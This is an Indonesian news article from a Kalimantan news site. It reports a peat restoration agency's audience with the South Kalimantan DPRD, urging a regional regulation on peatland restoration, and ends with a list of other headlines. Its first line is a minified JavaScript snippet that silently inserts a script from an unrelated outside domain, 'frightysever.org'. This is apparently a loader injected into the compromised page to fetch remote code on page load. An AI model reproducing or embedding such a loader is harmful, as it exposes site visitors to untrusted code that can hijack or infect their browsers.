(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Badan Restorasi Gambut Desak DPRD buat Perda


BANJARMASIN, Guna menjaga kelestarian lingkungan Kalimantan Selatan, khususnya kawasan lahan gambut,  Badan Restorasi Lahan Gambut Kalsel melakukan audiensi ke DPRD Provinsi. Mereka mendesak pembentukan Perda tentang regulasi Restorasi Lahan Gambut,  Kamis (28/9).

Kepala Restorasi Lahan Gambut Kalsel,  Samosir mengatakan, restorasi bertujuan memperbaiki struktur pembangunan di  lahan gambut. Agar terealisasi, maka perlu adanya payung hukum berupa Peraturan Daerah (Perda). “Mengingat bahwa Perda untuk Karhutla sudah diterapkan,” ujarnya.

Di sisi lain, akademisi dan pemerhati hukum lingkungan, Prof Hadin Muhjad mengatakan,  perlu adanya regulasi dan harus dibuat oleh pemerintah baik dari eksekutif dan legislatif.  Sebab dia menilai Perda nomor 1 tahun 2016 yang selama ini diterapkan tidak bisa mengcover terkait kebakaran lahan gambut.

Sementara Ketua Badan Pembentukan Peraturan Daerah, Rosehan NB menjelaskan, usulan ini terlebih dahulu dikoordinasikan dengan Gubernur ,  SKPD terkait, serta konsultasi dengan Biro Hukum Pemprov Kalsel. Namun ia menekankan bahwa dalam waktu tiga bulan kemungkinan Raperda ini sangat tipis dirancang oleh pihak DPRD,  kecuali lewat eksekutif yaitu biro hukum Pemprov. “Relatif masih sedikit untuk daerah yang mengatur restorasi lahan gambut,”  ujarnya.

Rosehan sangat mengapresiasi pihak Badan Restorasi Lahan Gambut apabila ada petunjuk teknis yang mengatur tentang masalah di lapangan sudah lengkap dan tertata secara sistematis. “Apabila serius pihak Badan Restorasi Lahan Gambut bisa berkoodinasi langsung dengan Komisi II, ” ujarnya saat memimpin rapat audiensi tersebut.

Rapat tersebut sebelumnya diikuti oleh sejumlah instansi mulai dari SKPD, kampus, LSM, BPBD, BLDH, dewan, Dansatgas Karhutlah dan peserta lainnya.

Sebelumnya, Kalsel memprogramkan aksi restorasi lahan gambut pada 10 kabupaten/kota dalam lima tahun ke depan dengan target 79.000 hektar. Untuk mengawali aksi tersebut TRGD Kalsel akan memprioritaskan lima kabupaten/kota tahun ini. Daerah tersebut di antaranya Kabupaten Hulu Sungai Selatan, Hulu Sungai Utara, Balangan, Barito Kuala dan Kota Banjarbaru.

Wagub Kalsel Rudy Resnawan mengatakan, restorasi lahan gambut merupakan tugas besar bagi semua, perubahan kawasan gambut menjadi produktif dan ramah lingkungan bukan hanya untuk kepentingan daerah tetapi juga untuk kepentingan nasional.

“Bahkan restorasi kawasan gambut juga sekaligus menjawab kritik negara-negara tetangga yang seringkali keberatan terhadap penyebaran kabut asap yang diakibatkan oleh kebakaran lahan gambut,” ungkapnya. ***


Desy Arfianty

Recent Posts

Digitalisasi Pajak Lewat Bimtek Aplikasi SAPAT Kolaborasi BPPRD Banjarbaru – Bank Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru terus mempercepat transformasi digital dalam tata kelola keuangan daerah.… Read More

10 jam ago

Apresiasi Pemko Banjarmasin untuk Pembagian 2.500 Sepatu

KANALKALIMANTAN.COM, BANJARMASIN - Kota Banjarmasin menjadi lokasi kegiatan berbagi 2.500 sepatu ke anak sekolah oleh… Read More

13 jam ago

Unjuk Rasa Menuntut Solusi Banjir Kalsel di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN - Forum Rakyat Peduli Negara dan Bangsa (Forpeban) Kalimantan Selatan (Kalsel) menggelar unjuk… Read More

14 jam ago

PUPR Kalsel Beberkan Rencana Pembangunan Jembatan Barito Dua

KANALKALIMANTAN.COM, BANJARBARU - Pemprov Kalsel fokus pada penyusunan dan peninjauan detail engineering design (DED) sebagai bagian… Read More

14 jam ago

Kabupaten Banjar Raih UHC Award Tahun 2026 Kategori Madya

KANALKALIMANTAN.COM, JAKARTA – Di bawah kepemimpinan Bupati Banjar H Saidi Mansyur, Pemerintah Kabupaten Banjar kembali… Read More

15 jam ago

Korem 101/Antasari Bagikan 2.500 Sepatu ke Anak Sekolah Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Merayakan Hari Ulang Tahun (HUT) ke-46 Komando Resor Militer (Korem) 101/Antasari membagikan… Read More

15 jam ago

This website uses cookies.